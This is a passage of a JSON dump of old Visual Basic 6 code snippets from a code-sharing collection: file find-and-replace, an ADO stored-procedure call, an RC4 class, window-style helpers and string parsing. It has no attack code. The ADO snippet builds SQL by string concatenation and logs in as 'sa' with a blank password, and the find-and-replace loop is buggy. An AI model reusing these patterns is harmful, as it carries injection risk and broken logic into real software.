Sub"},{"WorldId":1,"id":26947,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30854,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15181,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32743,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32763,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14805,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14807,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14808,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14987,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15026,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14854,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14817,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15223,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21048,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29292,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26380,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24673,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32133,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31938,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32374,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14847,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14848,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23197,"LineNumber":1,"line":"Dim strFind As String\n Dim strReplace As String\n Dim strDestination As String\n Dim strSource As String\n Dim strFilter\n \n strFind = \"Hello\" 'What to find\n strReplace = \"Goodbye\" 'What to replace it with\n strDestination = \"c:\\temp\" 'Where to put the files once they have been modified\n strSource = \"c:\\output\" 'Where to get the files\n strFilter = \"*.txt\" 'wildcards\n 'verification complete\n Dim parse As String\n Dim hold As String\n 'FIND AND REPLACE\n sdir = Dir(strSource & \"\\\" & fMainForm.txtIncludeFilter)\n Do While sdir <> \"\"\n Open fMainForm.txtSource & \"\\\" & sdir For Input As #1\n Do While Not EOF(1)\n Line Input #1, parse\n hold = hold & Replace(parse, fMainForm.txtReplace, fMainForm.txtFind)\n Loop\n \n Loop\n Open fMainForm.txtSource & \"\\\" & sdir For Output As #1\n Print #1, hold\n Close #1\n hold = \"\"\n parse = \"\"\n sdir = Dir()\n Loop"},{"WorldId":1,"id":23199,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23200,"LineNumber":1,"line":"Dim sdir, string1, string2\nsdir = Dir(\"\\\\hurricane\\c$\\newrouters\\*.cfg\")\nOpen \"c:\\windows\\desktop\\mrtgcfg.cfg\" For Output As #1\nDo While sdir <> \"\"\n Open \"\\\\hurricane\\newrouters\\\" & sdir For Input As #2\n Do While Not EOF(2)\n Line Input #2, string1\n Print #1, string1\n Loop\n Debug.Print sdir\n Close #2\n sdir = Dir()\nLoop\nClose #1"},{"WorldId":1,"id":23178,"LineNumber":1,"line":"Dim SecurityCode As Integer\n Dim LocationCode As Integer\n Dim Engineer As String\n Dim cn As New ADODB.Connection\n Dim rs As ADODB.Recordset\n Dim ConnStr As String\n \n 'Create connection string\n ConnStr = \"uid=sa;pwd=;driver={SQL Server};\" & _\n \"server=<server>;database=<database>;dsn=''\"\n 'Open the connection the the server\n With cn\n .ConnectionString = ConnStr\n .ConnectionTimeout = 10\n .Properties(\"Prompt\") = adPromptNever\n .Open\n \n End With\n \n 'Supply the stored procedure and the variables you are going to pass\n 'remember to put string and date values in apostophes\n SQLQuery = \"sp_WorkList(\" & LocationCode & \", '\" & Engineer & \"', \" & SecurityCode & \")\"\n \n 'Execute stored procedure\n Set rs = cn.Execute(SQLQuery)\n 'If the stored procedure returns any rows of data process the information\n Do While Not rs Is Nothing\n \n 'if we have reached the end of the recordset, get the next recordset that was returned\n Do While Not rs.EOF\n 'show the data, i currently use this to populate a treeview... but you can use your imagination\n For Each Field In rs.Fields\n Debug.Print Field.Name & \" = \" & Field\n Next Field\n Loop\n 'get the next recordset\n Set rs = rs.NextRecordset\n Loop\n'*******************************\n'Example of a SQL stored procedure that returns\n'multiple recordsets\n'This is copied from my MS SQL Server 7 sp\n'I use this to populate a users worklist\n'there are 5 fields and the sixth is the name \n'of the category with a null in the field value\n'I assign the field names to a the name i wish to\n'show in the description of the field. You will\n'see a 1/2/_ in the field name, these are\n'translated to various charchters that SQL server\n'permit. Because all the queries are on the server\n'all i have to do is modify the stored procedure\n'to change the categories in a worklist. It is a\n'better then having to recompile!!!\n'I hope this helps everyone\n'********************************\nCREATE PROCEDURE sp_WorkList \n\t@loccode int,\n\t@name varchar(100),\n\t@security int\nAS\nif @security = 2 \n\tBEGIN\n\t\tSELECT [ISR_#] as NSR_#, Institution as Customer, ISR_Rec_d as [Opened], TDate as Due, left(SubProject_Desc,100) as Description, eng_proj_type, '' as Pending_Bid_No_Bid FROM MasterISR WHERE Status = 'Pending Confirm' ORDER BY [ISR_#];\n\t\tSELECT [ISR_#] as NSR_#, Institution as Customer, ISR_Rec_d as [Opened], TDate as Due, left(SubProject_Desc,100) as Description, eng_proj_type, '' as Pending_Labor_Assignment FROM MasterISR WHERE Status = 'Pending Assign' ORDER BY [ISR_#];\n\t\tSELECT [ISR_#] as NSR_#, Institution as Customer, ISR_Rec_d as [Opened], TDate as Due, left(SubProject_Desc,100) as Description, eng_proj_type, '' as Pending_Submission FROM MasterISR WHERE Status = 'Pending ASR' ORDER BY [ISR_#];\n\t\tSELECT [ISR_#] as NSR_#, Institution as Customer, ISR_Rec_d as [Opened], TDate as Due, left(SubProject_Desc,100) as Description, eng_proj_type, '' as Pending_ISR_Number FROM MasterISR WHERE Status = 'Pending ISR' ORDER BY [ISR_#];\n\tEND\n\nif @loccode = 1 GOTO LAN_Eng\nif @loccode = 2 GOTO WAN_Eng\n\nLAN_Eng:\nSELECT [ISR_#] as NSR#, Institution as Customer, ISR_Rec_d as [Open], QuoteDueDT as Due, Left(SubProject_Desc, 100) as Description, eng_proj_type, '' as Pending_KO FROM MasterISR WHERE (LAN_Engineer = @name OR WAN_Engineer = @name) AND (LANCompActDT is null AND Status='Pending KO') ORDER BY ISR_#;\nSELECT [ISR_#] as NSR#, Institution as Customer, ISR_Rec_d as [Open], QuoteDueDT as Due, Left(SubProject_Desc, 100) as Description, eng_proj_type, '' as Proposal_1_Rework FROM MasterISR WHERE ((LAN_Engineer = @name OR WAN_Engineer = @name) AND (LANCompActDT is null AND Status='Proposal - Rework')) ORDER BY [ISR_#];\nSELECT [ISR_#] as NSR#, Institution as Customer, ISR_Rec_d as [Open], QuoteDueDT as Due, Left(SubProject_Desc, 100) as Description, eng_proj_type, '' as Design FROM MasterISR WHERE (Info_BO is null AND (LAN_Engineer = @name OR WAN_Engineer = @name) AND (LANCompActDT is null AND QuoteCompDT is null AND ((MasterISR.Status)='open' Or (MasterISR.Status)='proposal'))) ORDER BY [ISR_#];\nSELECT [ISR_#] as NSR#, Institution as Customer, ISR_Rec_d as [Open], QuoteDueDT as Due, Left(SubProject_Desc, 100) as Description, eng_proj_type, '' as Design FROM MasterISR WHERE (LAN_Engineer = @name OR WAN_Engineer = @name) AND MasterISR.Status='Design' AND Info_BO is null ORDER BY [ISR_#];\nSELECT [ISR_#] as NSR#, Institution as Customer, ISR_Rec_d as [Open], Info_BO as Due, Left(SubProject_Desc, 100) as Description, eng_proj_type, '' as Pending_NDP FROM MasterISR WHERE (LAN_Engineer = @name OR WAN_Engineer = @name) AND (Status='Design' OR Status = 'Open') AND Not Info_BO is null ORDER BY [ISR_#];\nSELECT [ISR_#] as NSR#, Institution as Customer, QuoteCompDT as Implem2, Network_Target_Date as Due, Left(SubProject_Desc, 100) as Description, eng_proj_type, '' as Implementation_1_Rework FROM MasterISR WHERE ((LAN_Engineer = @name OR WAN_Engineer = @name) AND (Status='Implementation - Rework' AND LANCompActDT Is Null)) ORDER BY QuoteCompDT;\nSELECT [ISR_#] as NSR#, Institution as Customer, QuoteCompDT as Implem2, Network_Target_Date as Due, Left(SubProject_Desc, 100) as Description, eng_proj_type, '' as Implementation FROM MasterISR WHERE ((LAN_Engineer = @name OR WAN_Engineer = @name) AND (Status='Implementation' AND LANCompActDT Is Null)) ORDER BY QuoteCompDT;\nSELECT [ISR_#] as NSR#, Institution as Customer, ISR_Rec_d as [Open], Network_Target_Date as Due, Left(SubProject_Desc, 100) as Description, eng_proj_type, '' as Hold FROM MasterISR WHERE ((LAN_Engineer = @name OR WAN_Engineer = @name) AND (Status='Hold' AND LANCompActDT Is Null)) ORDER BY [ISR_#];\nSELECT [ISR_#] as NSR#, Institution as Customer, ISR_Rec_d as [Open], QuoteCompDT as Due, Left(SubProject_Desc, 100) as Description , eng_proj_type, '' as Wait_for_FF FROM MasterISR WHERE ((LAN_Engineer = @name OR WAN_Engineer = @name) AND (Status='Proposal' AND LANCompActDT Is Null)) ORDER BY QuoteCompDT;\nSELECT [ISR_#] as NSR#, Institution as Customer, ISR_Rec_d as [Open], QuoteCompDT as Due, Left(SubProject_Desc, 100) as Description, eng_proj_type, '' as Wait_for_FF FROM MasterISR WHERE (LAN_Engineer = @name OR WAN_Engineer = @name) AND (LANCompActDT is null AND Status='Pending FF') ORDER BY [ISR_#];\nSELECT [ISR_#] as NSR#, Institution as Customer, ISR_Rec_d as [Open], Network_Target_Date as Due, Left(SubProject_Desc, 100) as Description, eng_proj_type, '' as Engineering_Closed FROM MasterISR WHERE ((LAN_Engineer = @name OR WAN_Engineer = @name) AND (LANCompActDT Is Not Null AND PE_ClosedDT Is Null AND not Status = 'Closed')) ORDER BY Network_Target_Date;\nreturn\n"},{"WorldId":1,"id":14903,"LineNumber":1,"line":"Public Function GetUniqueId() As String\n GetUniqueId = Trim(Str(CDbl(Now) * 10000000000#))\nEnd Function"},{"WorldId":1,"id":14965,"LineNumber":1,"line":"Private Function Split2D(StringToSplit, FirstDelimiter, SecondDelimiter)\nDim X As Integer, _\n Y As Integer, _\n FirstBound As Integer, _\n SecondBound As Integer, _\n ResultArray()\ntemparray = Split(StringToSplit, FirstDelimiter)\nFirstBound = UBound(temparray)\nFor X = 0 To FirstBound\n temparray2 = Split(temparray(X), SecondDelimiter)\n If UBound(temparray2) > SecondBound Then SecondBound = UBound(temparray2)\nNext\nReDim ResultArray(FirstBound, SecondBound)\nFor X = 0 To FirstBound\n temparray2 = Split(temparray(X), SecondDelimiter)\n For Y = 0 To UBound(temparray2)\n ResultArray(X, Y) = temparray2(Y)\n Next\nNext\nSplit2D = ResultArray\nEnd Function"},{"WorldId":1,"id":14884,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21277,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14898,"LineNumber":1,"line":"Public Function calc(sFormula As String) As Double\n'This is a recursive function to calculate a valid\n'math formula.\n \n Dim sHead As String, sTail As String\n Dim sTemp As String, lPos As Long\n Dim cnt As Long, dblTemp As Double\n Dim I As Long\n \n cnt = 0\n If InStr(sFormula, \"(\") > 0 Then\n 'calculate the string within bracket first\n lPos = InStr(sFormula, \"(\")\n For I = lPos + 1 To Len(sFormula)\n If Mid(sFormula, I, 1) = \"(\" Then cnt = cnt + 1\n If Mid(sFormula, I, 1) = \")\" Then\n If cnt = 0 Then Exit For\n cnt = cnt - 1\n End If\n Next\n sTemp = Mid(sFormula, lPos + 1, I - lPos - 1)\n dblTemp = calc(sTemp)\n sTemp = Replace(sFormula, \"(\" & sTemp & \")\", CStr(dblTemp))\n calc = calc(sTemp)\n ElseIf InStr(sFormula, \"+\") > 0 Then\n 'Add\n lPos = InStr(sFormula, \"+\")\n sHead = Left(sFormula, lPos - 1)\n sTail = Right(sFormula, Len(sFormula) - lPos)\n calc = calc(sHead) + calc(sTail)\n ElseIf InStr(sFormula, \"-\") > 0 Then\n 'Subtract\n lPos = InStr(sFormula, \"-\")\n sHead = Left(sFormula, lPos - 1)\n sTail = Right(sFormula, Len(sFormula) - lPos)\n calc = calc(sHead) - calc(sTail)\n ElseIf InStr(sFormula, \"*\") > 0 Then\n 'Multiply\n lPos = InStr(sFormula, \"*\")\n sHead = Left(sFormula, lPos - 1)\n sTail = Right(sFormula, Len(sFormula) - lPos)\n calc = calc(sHead) * calc(sTail)\n ElseIf InStr(sFormula, \"/\") > 0 Then\n 'Divide\n lPos = InStr(sFormula, \"/\")\n sHead = Left(sFormula, lPos - 1)\n sTail = Right(sFormula, Len(sFormula) - lPos)\n calc = calc(sHead) / calc(sTail)\n Else\n calc = CDbl(sFormula)\n End If\nEnd Function\n"},{"WorldId":1,"id":14902,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21231,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22839,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22841,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21413,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24870,"LineNumber":1,"line":"'/////////////////////////////////////////////\n'Form\nOption Explicit\nConst ArbitraryString = \"Me, Myself, and I\"\nConst IDLength = 255\nConst ValidSessionChars = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\nPrivate Sub cmdIncrementByOne_Click()\n lblFunctionOutput = IncrementByOne(Val(txtOrigNumber.Text))\nEnd Sub\nPrivate Function IncrementByOne(ByVal OrigNumber As Double) As Double\n Dim ValueOfOne As String\n Dim MyID As String\n Dim MyKey As String\n Dim MySecondKey As String\n Dim objCrypt As clsRC4\n Dim objCrypt2 As clsRC4\n Dim CryptedID As String\n Dim EncryptedNum As String\n Dim IncrementedNum As Double\n \n MyID = GenerateRandomID(ArbitraryString)\n MyKey = GenerateRandomID(MyID)\n Set objCrypt = New clsRC4\n objCrypt.Key = MyKey\n MySecondKey = objCrypt.Crypt(MyID)\n Set objCrypt2 = New clsRC4\n objCrypt2.Key = MySecondKey\n CryptedID = objCrypt2.Crypt(MyID)\n EncryptedNum = objCrypt2.Crypt(CStr(OrigNumber))\n ValueOfOne = objCrypt.Crypt(CStr(Max(Asc(Mid(CryptedID, Int(Rnd * IDLength) + 1, 1)) Mod 2, 1)))\n IncrementedNum = Val(objCrypt2.Crypt(EncryptedNum)) + Val(objCrypt.Crypt(ValueOfOne))\n IncrementByOne = IncrementedNum\nEnd Function\nFunction Max(ByVal First, ByVal Second)\n If First > Second Then\n Max = First\n Else\n Max = Second\n End If\nEnd Function\n'Function to generate Unique (hopefully) IDs based on the current Time/Date and UserName\nFunction GenerateRandomID(ByVal User)\n Dim Working\n Dim CurTime\n Dim Transfer\n Dim Length\n Dim i\n \n 'Start off by using the current Time/Date as a number\n CurTime = CStr(CDbl(Now))\n \n 'Use a Timer based Seed For a better random\n Randomize\n \n 'Initialize the String to NullString (we don't want to take chances on invalid info.\n Working = vbNullString\n \n 'Now we start by creating the Random ID based off the current time randomized\n For i = 1 To Len(CurTime)\n Working = Working & Mid(ValidSessionChars, ((Int((Rnd * Len(ValidSessionChars)) + 1) Xor Asc(Mid(CurTime, i, 1))) Mod Len(ValidSessionChars)) + 1, 1)\n Next\n \n 'Now we use each character of the UserName the get random characters from our Allowable list and add then to the ID\n For i = 1 To Len(User)\n Working = Working & Mid(ValidSessionChars, ((Int((Rnd * Len(ValidSessionChars)) + 1) Xor Asc(Mid(User, i, 1))) Mod Len(ValidSessionChars)) + 1, 1)\n Next\n \n 'Now we need to filter out any bad characters that got in (Should not be any)\n Transfer = \"\"\n For i = 1 To Len(Working)\n If (InStr(1, ValidSessionChars, Mid(Working, i, 1)) > 0) Then\n Transfer = Transfer & Mid(Working, i, 1)\n End If\n Next\n Working = Transfer\n \n 'Now we do some tests to make sure we are generate a fixed length ID\n Select Case True\n Case (Len(Working) < IDLength)\n 'Generate the extra characters randomly using the existing part of the ID as seeds\n Length = Len(Working)\n For i = (Length + 1) To IDLength\n Working = Working & Mid(ValidSessionChars, Int((Rnd * Len(ValidSessionChars)) + 1), 1)\n Next\n Case (Len(Working) > IDLength)\n 'Truncate the ID down to valid Length\n Working = Mid(Working, 1, IDLength)\n End Select\n 'Return what we generated.\n GenerateRandomID = Working\nEnd Function\n'/////////////////////////////////////////////\n'clsRC4 Class\nOption Explicit\n \nPrivate mStrKey\nPrivate mBytKeyAry(255)\nPrivate mBytCypherAry(255)\n \nPrivate Sub InitializeCypher()\n Dim lBytJump\n Dim lBytIndex\n Dim lBytTemp\n \n For lBytIndex = 0 To 255\n mBytCypherAry(lBytIndex) = lBytIndex\n Next\n ' Switch values of Cypher arround based off of index and Key value\n lBytJump = 0\n For lBytIndex = 0 To 255\n ' Figure index To switch\n lBytJump = (lBytJump + mBytCypherAry(lBytIndex) + mBytKeyAry(lBytIndex)) Mod 256\n \n ' Do the switch\n lBytTemp = mBytCypherAry(lBytIndex)\n mBytCypherAry(lBytIndex) = mBytCypherAry(lBytJump)\n mBytCypherAry(lBytJump) = lBytTemp\n Next\nEnd Sub\nPublic Property Let Key(ByRef pStrKey)\n Dim lLngKeyLength\n Dim lLngIndex\n \n If pStrKey = mStrKey Then Exit Property\n lLngKeyLength = Len(pStrKey)\n If lLngKeyLength = 0 Then Exit Property\n mStrKey = pStrKey\n lLngKeyLength = Len(pStrKey)\n For lLngIndex = 0 To 255\n mBytKeyAry(lLngIndex) = Asc(Mid(pStrKey, ((lLngIndex) Mod (lLngKeyLength)) + 1, 1))\n Next\nEnd Property\nPublic Property Get Key()\n Key = mStrKey\nEnd Property\nPublic Function Crypt(ByRef pStrMessage)\n Dim lBytIndex\n Dim lBytJump\n Dim lBytTemp\n Dim lBytY\n Dim lLngT\n Dim lLngX\n \n ' Validate data\n If Len(mStrKey) = 0 Then Exit Function\n If Len(pStrMessage) = 0 Then Exit Function\n Call InitializeCypher\n \n lBytIndex = 0\n lBytJump = 0\n For lLngX = 1 To Len(pStrMessage)\n lBytIndex = (lBytIndex + 1) Mod 256 ' wrap index\n lBytJump = (lBytJump + mBytCypherAry(lBytIndex)) Mod 256 ' wrap J+S()\n \n ' Add/Wrap those two\n lLngT = (mBytCypherAry(lBytIndex) + mBytCypherAry(lBytJump)) Mod 256\n \n ' Switcheroo\n lBytTemp = mBytCypherAry(lBytIndex)\n mBytCypherAry(lBytIndex) = mBytCypherAry(lBytJump)\n mBytCypherAry(lBytJump) = lBytTemp\n lBytY = mBytCypherAry(lLngT)\n ' Character Encryption ...\n Crypt = Crypt & Chr(Asc(Mid(pStrMessage, lLngX, 1)) Xor lBytY)\n Next\nEnd Function"},{"WorldId":1,"id":30275,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30084,"LineNumber":1,"line":"Public Sub ChangeFormBorder(frmForm As Form, _\n ByVal eNewBorder As FormBorderStyleConstants, _\n Optional ByVal bClipControls As Boolean = True, _\n Optional ByVal bControlBox As Boolean = True, _\n Optional ByVal bMaxButton As Boolean = True, _\n Optional ByVal bMinButton As Boolean = True, _\n Optional ByVal bShowInTaskBar As Boolean = True, _\n Optional ByVal bWhatsThisButton As Boolean = False)\n Dim lRet As Long\n Dim lStyleFlags As Long\n Dim lStyleExFlags As Long\n \n 'Initialize our flags\n lStyleFlags = 0\n lStyleExFlags = 0\n \n 'If we want ClipControls then add that flag and change the form property\n If bClipControls Then\n lStyleFlags = lStyleFlags Or WS_CLIPCHILDREN\n frmForm.ClipControls = True\n Else\n frmForm.ClipControls = False\n End If\n \n 'If we want the control box then add the flag (property is read-only)\n If bControlBox Then lStyleFlags = lStyleFlags Or WS_SYSMENU\n \n 'If we want the max button then add the flag (property is read-only)\n If bMaxButton Then lStyleFlags = lStyleFlags Or WS_MAXIMIZEBOX\n \n 'If we want the min button then add the flag (property is read-only)\n If bMinButton Then lStyleFlags = lStyleFlags Or WS_MINIMIZEBOX\n \n 'If we want the form to show in taskbar then add the flag (property is read-only)\n If bShowInTaskBar Then lStyleExFlags = lStyleExFlags Or WS_EX_APPWINDOW\n \n 'If we want the what's this button then add the flag (property is read-only)\n If bWhatsThisButton Then lStyleExFlags = lStyleExFlags Or WS_EX_CONTEXTHELP\n \n 'If the form is an MDI Child form then add the flag (Don't want to screw up the form)\n If frmForm.MDIChild Then lStyleExFlags = lStyleExFlags Or WS_EX_MDICHILD\n \n 'Now we need to set the flags for the border we are changing to\n Select Case eNewBorder\n Case vbBSNone\n lStyleFlags = lStyleFlags Or (WS_VISIBLE Or WS_CLIPSIBLINGS)\n 'No change to extended style flags.\n Case vbFixedSingle\n lStyleFlags = lStyleFlags Or (WS_VISIBLE Or WS_CLIPSIBLINGS Or WS_CAPTION)\n lStyleExFlags = lStyleExFlags Or WS_EX_WINDOWEDGE\n Case vbSizable\n lStyleFlags = lStyleFlags Or (WS_VISIBLE Or WS_CLIPSIBLINGS Or WS_CAPTION Or WS_THICKFRAME)\n lStyleExFlags = lStyleExFlags Or WS_EX_WINDOWEDGE\n Case vbFixedDialog\n lStyleFlags = lStyleFlags Or (WS_VISIBLE Or WS_CLIPSIBLINGS Or WS_CAPTION Or DS_MODALFRAME)\n lStyleExFlags = lStyleExFlags Or (WS_EX_WINDOWEDGE Or WS_EX_DLGMODALFRAME)\n Case vbFixedToolWindow\n lStyleFlags = lStyleFlags Or (WS_VISIBLE Or WS_CLIPSIBLINGS Or WS_CAPTION)\n lStyleExFlags = lStyleExFlags Or (WS_EX_WINDOWEDGE Or WS_EX_TOOLWINDOW)\n Case vbSizableToolWindow\n lStyleFlags = lStyleFlags Or (WS_VISIBLE Or WS_CLIPSIBLINGS Or WS_CAPTION Or WS_THICKFRAME)\n lStyleExFlags = lStyleExFlags Or (WS_EX_WINDOWEDGE Or WS_EX_TOOLWINDOW)\n End Select\n 'WS_VISIBLE makes sure the form is visible\n 'WS_CLIPSIBLINGS makes sure that when there are other windows with the same relative family that they do not draw over each other.\n 'WS_CAPTION provides the form's caption\n 'WS_THICKFRAME makes the form sizable\n 'DS_MODALFRAME allows dialog forms to have 3d effect\n 'WS_EX_WINDOWEDGE is for the border around the form\n 'WS_EX_DLGMODALFRAME says the window has a double border and may or may not have a caption\n 'WS_EX_TOOLWINDOW says we need a shorter caption and smaller font\n \n 'Change our styles\n lRet = SetWindowLong(frmForm.hwnd, GWL_STYLE, lStyleFlags)\n lRet = SetWindowLong(frmForm.hwnd, GWL_EXSTYLE, lStyleExFlags)\n \n 'Signal that the frame has changed\n lRet = SetWindowPos(frmForm.hwnd, 0, 0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE Or SWP_FRAMECHANGED)\n \n 'Make that we've changed the border in the form's property\n frmForm.BorderStyle = eNewBorder\nEnd Sub"},{"WorldId":1,"id":29371,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30048,"LineNumber":1,"line":"Private Sub ToggleFormCaption()\n Dim rcWindow As RECT\n Dim lRet As Long\n lRet = GetWindowRect(Me.hwnd, rcWindow)\n lRet = SetWindowLong(Me.hwnd, GWL_STYLE, GetWindowLong(Me.hwnd, GWL_STYLE) Xor WS_CAPTION)\n lRet = SetWindowPos(Me.hwnd, 0, 0, 0, rcWindow.Right - rcWindow.Left + 1, rcWindow.Bottom - rcWindow.Top, SWP_NOMOVE)\n lRet = SetWindowPos(Me.hwnd, 0, 0, 0, rcWindow.Right - rcWindow.Left, rcWindow.Bottom - rcWindow.Top, SWP_NOMOVE)\nEnd Sub\n"},{"WorldId":1,"id":24996,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23919,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32461,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33167,"LineNumber":1,"line":"Public Function GetStringBetween(strCompleteString As String, strFirst As String, Optional strLast As String, Optional bCaseSensitive As Boolean = False) As String\n \n ' Purpose : Pass this function a string (strCompleteString),\n ' and it will return a substring consisting of\n ' everything between 2 other specified strings\n ' (ie, everything between strFirst and strLast)\n ' You can also optionally specify if it should be case sensitive (default is False)\n ' Bonus: if you leave out the last string, you'll\n ' just get the word following the first word\n ' Or if you leave off the first string, it will start from the\n ' first character in the main string\n ' Example : GetStringBetween(\"Fourscore and seven years ago, our fathers\", \"and\", \"our\")\n ' would return \"seven years ago,\"\n ' Parameters: strCompleteString, strFirst, strLast, bCaseSensitive\n ' Returns : String\n ' Modified : 3/30/2002 By BB\n \n Dim iPos As Integer\n Dim iLen As Integer\n Dim strTemp1 As String\n Dim strTemp2 As String\n \n On Error GoTo Err_GetStringBetween\n ' make sure we have valid values to work with\n If Len(strCompleteString) = 0 Then\n ' no string to parse\n MsgBox \"Missing Main String, Nothing to Parse\", vbInformation, \"Advisory\"\n strTemp2 = \"\"\n GoTo Exit_GetStringBetween\n ElseIf Len(strFirst) = 0 Then\n ' no beginning string, so begin at first character\n iPos = 1\n ElseIf Len(strLast) = 0 Then\n ' no ending string, so we'll make it a space\n strLast = \" \"\n End If\n ' if no beginning was specified, we can skip this\n If iPos < 1 Then\n ' get the location in the string where our first string occurs\n If bCaseSensitive Then\n ' case sensitive\n iPos = InStr(1, strCompleteString, strFirst, vbBinaryCompare)\n Else\n ' case insensitive\n iPos = InStr(1, strCompleteString, strFirst, vbTextCompare) ' default\n End If\n End If\n ' assuming we did find the first string...\n If iPos > 0 Then\n ' extract everything to the right of the first string;\n ' we use the expression\n ' Len(strCompleteString) - (iPos + Len(Trim$(strFirst)\n ' to determine where the first string actually ends,\n ' the Trim$ call makes sure we don't include any spaces the user may have passed in\n ' (you have to pass in the spaces around a word to distinguish a complete word\n ' from a string that may appear within a word, eg, the \"and\" in \"thousand\" would\n ' mess us up if we had called it like this:\n ' GetStringBetween(\"Four thousand and seven years ago\", \"and\", \"ago\")\n ' so the right way to call it would be this:\n ' GetStringBetween(\"Four thousand and seven years ago\", \" and \", \"ago\")\n '\n ' I hope that makes it clear!\n If iPos = 1 Then\n strTemp1 = Trim$(Right$(strCompleteString, Len(strCompleteString)))\n Else\n strTemp1 = Trim$(Right$(strCompleteString, Len(strCompleteString) - (iPos + Len(Trim$(strFirst)))))\n End If\n End If\n If (LCase$(strFirst) = \" inner join \") And (LCase$(strLast) = \" on \") Then\n iLen = Len(strTemp1)\n If bCaseSensitive Then\n ' case sensitive\n iPos = InStrRev(strTemp1, strLast, iLen, vbBinaryCompare)\n Else\n ' case insensitive\n iPos = InStrRev(strTemp1, strLast, iLen, vbTextCompare) ' default\n End If\n If iPos > 0 Then\n strTemp2 = \" INNER JOIN \" & Trim$(Left$(strTemp1, iPos - 1)) & \" ON \"\n Else\n strTemp2 = strTemp1\n End If\n Else\n If bCaseSensitive Then\n ' case sensitive\n iPos = InStr(1, strTemp1, strLast, vbBinaryCompare)\n Else\n ' case insensitive\n iPos = InStr(1, strTemp1, strLast, vbTextCompare) ' default\n End If\n If iPos > 0 Then\n strTemp2 = Trim$(Left$(strTemp1, iPos - 1))\n Else\n strTemp2 = strTemp1\n End If\n End If\n \nExit_GetStringBetween:\n \n On Error Resume Next\n GetStringBetween = strTemp2\n On Error GoTo 0\n Exit Function\nErr_GetStringBetween:\n Select Case Err\n Case 0\n Resume Next\n Case Else\n MsgBox \"Error Code: \" & Err.Number & vbCrLf & vbCrLf & Err.Description & vbCrLf & vbCrLf & \"In modBuildSQL, during GetStringBetween\" & vbCrLf & vbCrLf & Err.Source, vbInformation, App.Title & \" ADVISORY\"\n strTemp2 = \"\"\n Resume Exit_GetStringBetween\n End Select\nEnd Function"},{"WorldId":1,"id":33690,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23721,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23420,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24913,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25958,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26031,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26041,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29774,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30860,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31989,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31705,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21365,"LineNumber":1,"line":"Private Sub ListRecordsetProperties()\n ' provides a list of all current recordset fields and their properties;\n ' use with any currently open ADO recordset (rs in this example)\n Dim I As Integer\n Dim J As Integer\n \n For I = 0 To rs.Fields.Count - 1\n Debug.Print vbCrLf & \"Field \" & I & \" Name: '\" & rs.Fields.Item(I).Name & \"'\" & vbTab & \"Value: '\" & rs.Fields(I).Value & \"'\" & vbCrLf & \" Properties...\"\n For J = 0 To rs.Fields(I).Properties.Count - 1\n Debug.Print \" Index(\" & J & \") \" & \"Name: \" & rs.Fields(I).Properties(J).Name & \" = \" & rs.Fields(I).Properties(J).Value & vbTab & vbTab & \"Type: \" & rs.Fields(I).Properties(J).Type & \",\" & vbTab & \"Attributes: \" & rs.Fields(I).Properties(J).Attributes\n Next J\n Next I\nEnd Sub"},{"WorldId":1,"id":22463,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14912,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21757,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30686,"LineNumber":1,"line":"' ##################################################################\n' CopyBox/CopyLabel: (c) 2002 Tilleul\n' =======\n' This snippet creates an uneditable textbox/label whose contents can\n' be copied to the clipboard.\n' This is just like the textboxes in the File properties of Windows\n' (open Windows Explorer, right-click on a file and select PROPERTIES,\n' you'll see that several fields here can be copy/pasted although they\n' cannot be modified).\n'\n' Usage:\n' 1- open a new VB project\n' 2- on form1, draw a textbox (name=text1)\n' 3- on form1, draw a second textbox (name doesn't matter)\n' 4- copy/paste the code\n' ##################################################################\n\nPrivate Sub Form_Load()\n' some text to test the snippet\nText1.Text = \"This textbox' contents cannot be modified but you can 